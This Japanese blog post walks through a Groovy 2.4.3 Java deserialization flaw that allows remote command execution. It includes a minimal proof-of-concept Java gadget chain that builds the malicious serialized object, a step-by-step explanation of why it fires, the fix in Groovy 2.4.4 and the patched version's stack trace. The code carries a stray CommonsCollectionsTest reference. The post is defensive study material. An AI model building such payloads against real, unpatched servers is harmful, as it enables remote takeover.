[Groovy] 「リモートから任意のコマンドが実行できる脆弱性」の確認


# 目的

- 最近(2015-11-10ごろから)、Java の Commons Collections の脆弱性（リモートから任意のコマンドが実行できる）が騒がれています
- [元ネタ](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- 参考：[[Java] Commons Collections の脆弱性のお勉強](http://qiita.com/yoshi389111/items/63c5b496ea308593bc92)
- 類似の脆弱性が Groovy にもあったらしいので、確認してみました

# 脆弱性概要

## 発生条件

- Groovy 2.4.3 までのバージョン（jar がクラスパスにある状態）
- シリアライズされたオブジェクトを外部から喰わせることができる

## 対策方法

- Groovy 2.4.4 以降なら対策済み(2015-07頃)

# 攻撃ソース（サンプル）

元ネタのところにおおよそのソースが載っていますし、詳細なソースは GitHub に公開されています。

自分なりに必要そうなところを最小限だけ切り出してみました。

```java:GroovyTest.java
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import groovy.lang.Closure;

public class GroovyTest {
	public static InvocationHandler getObject(String command) throws Exception {

		// 【手順１】任意のメソッドを呼び出すクロージャを生成
		Closure<?> closure0 = new MethodClosure(command, "execute");

		// 【手順２】クロージャを呼び出しハンドラーに変換する
		InvocationHandler handler1 = new ConvertedClosure(closure0);

		// 【手順３】ハンドラーを Map の Proxy にする
		Map<?, ?> mapProxy = (Map<?, ?>) Proxy.newProxyInstance(
				CommonsCollectionsTest.class.getClassLoader(),
				new Class<?>[] { Map.class },
				handler1);

		// 【手順４】マップをアノテーションの定義値とする、「アノテーション呼び出しハンドラー」を生成する
		Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
		constructor.setAccessible(true);
		InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);

		return handler2;
	}
}
```

# 攻撃準備

攻撃準備は、Commons Collections よりも手順が少なくて簡単ですね。

## 【手順１】

【手順１】では、任意のコマンドを実行するメソッドクロージャー( `MethodClosure` )である `closure0` を生成します。
`MethodClosure` は、指定のメソッドを呼び出すクロージャーですが、オブジェクトに文字列、メソッド名に "execute" を指定すると、任意のコマンドを実行できてしまいます。

もし、Windows 上で動作確認するならメモ帳("notepad.exe")か電卓("calc.exe")あたりを指定するのが、安全で良いかと思います。

## 【手順２】

【手順２】は、上記【手順１】で生成したクロージャー `closure0` を、呼び出しハンドラー( `InvocationHandler` )の `handler1` に変換します。

元ネタの攻撃ソースでは、対象メソッドを "entrySet" と指定していますが、今回は指定せず全メソッドにしてみました（結局動くのは `entrySet()` ですけど）。

この呼び出しハンドラー `closure0` を呼び出されたら、【手順１】で生成したクロージャーを呼び出し手しまいます。

## 【手順３】

【手順３】では `handler1` を元に `Map` のプロキシーである `mapProxy` を生成します。

プロキシー( `java.lang.reflect.Proxy` )は、任意のインタフェースを実装した代理インスタンスを動的に生成する機能です。そして代理応答するクラスが先ほどの呼び出しハンドラー( `java.lang.reflect.InvocationHandler` )になります。

つまり `mapProxy` の何らかのメソッド呼び出したら `closure0` を呼び出してしまいます。

## 【手順４】

【手順４】は、ちょっと難しいです。

上記【手順３】で生成した `mapProxy` を元に「アノテーション呼び出しハンドラー」の `handler2` を生成します。

アノテーション呼び出しハンドラー( `sun.reflect.annotation.AnnotationInvocationHandler` )は、公開されていない Java 内部のクラスのようです。
アノテーションで定義された情報を取得するためのプロキシー用なんでしょうね。

ここでは `@Override` アノテーションの「アノテーション呼び出しハンドラー」を生成しています（アノテーションの種類は何でも良いみたいですね）。

そしてアノテーションの定義値を保持するメンバ変数 `memberValues` に `mapProxy` を設定しています。

「アノテーション呼び出しハンドラー」は、本来の目的とは関係なく readObject() の中でメンバ変数の `Map#entrySet()` にアクセスするという仕様のため悪用されただけみたいですね。
似たようなことをするクラスが他にあれば、代わりに使うことも可能かもしれません。

# 被害状況確認

この【手順４】で作った `handler2` をシリアライズして、攻撃対象のサイトに送り込むことになります。

## デシリアライズ

では攻撃対象のサーバが handler2 をデシリアライズしたらどうなるか？

`handler2` は「アノテーション呼び出しハンドラー」ですので、デシリアライズ時には`AnnotationInvocationHandler#readObject()` が呼び出されます。

`AnnotationInvocationHandler#readObject()` の中で `memberValues.entrySet()` が呼び出されます。
`handler2` の `memberValues` は、【手順３】で生成した `mapProxy` が設定されています。

そして `mapProxy.entrySet()` が呼び出されると、プロキシーの呼び出しハンドラーである `handler1` が呼び出されます。

`handler1` が呼び出されると `closure0` を呼び出します。

`closure0` が呼び出されると、任意のコマンドを実行してしまいます。

# 対策後の動作確認

実際に Groovy 2.4.3 で動作させてみると、見事に `notepad.exe` が起動してしまいました。

この動作は Groovy 2.4.4 で対策されているようです。
こちらも、実際に試してみたところ、以下のような例外が発生していました。

`MethodClosure` のシリアライズは問題なくできるけど、デシリアライズする際に例外が発生するようですね。

```
Exception in thread "main" java.lang.UnsupportedOperationException
	at org.codehaus.groovy.runtime.MethodClosure.readResolve(MethodClosure.java:72)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
	at java.lang.reflect.Method.invoke(Unknown Source)
	at java.io.ObjectStreamClass.invokeReadResolve(Unknown Source)
	at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
	at java.io.ObjectInputStream.readObject0(Unknown Source)
	at java.io.ObjectInputStream.defaultReadFields(Unknown Source)
	at java.io.ObjectInputStream.readSerialData(Unknown Source)
	at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
	at java.io.ObjectInputStream.readObject0(Unknown Source)
	at java.io.ObjectInputStream.defaultReadFields(Unknown Source)
	at java.io.ObjectInputStream.readSerialData(Unknown Source)
	at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
	at java.io.ObjectInputStream.readObject0(Unknown Source)
	at java.io.ObjectInputStream.defaultReadFields(Unknown Source)
	at java.io.ObjectInputStream.defaultReadObject(Unknown Source)
	at sun.reflect.annotation.AnnotationInvocationHandler.readObject(Unknown Source)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
	at java.lang.reflect.Method.invoke(Unknown Source)
	at java.io.ObjectStreamClass.invokeReadObject(Unknown Source)
	at java.io.ObjectInputStream.readSerialData(Unknown Source)
	at java.io.ObjectInputStream.readOrdinaryObject(Unknown Source)
	at java.io.ObjectInputStream.readObject0(Unknown Source)
	at java.io.ObjectInputStream.readObject(Unknown Source)
```

（何らかのオブジェクトのシリアライズのテストをする場合、ちゃんとデシリアライズまで確認したほうが良いのかもね）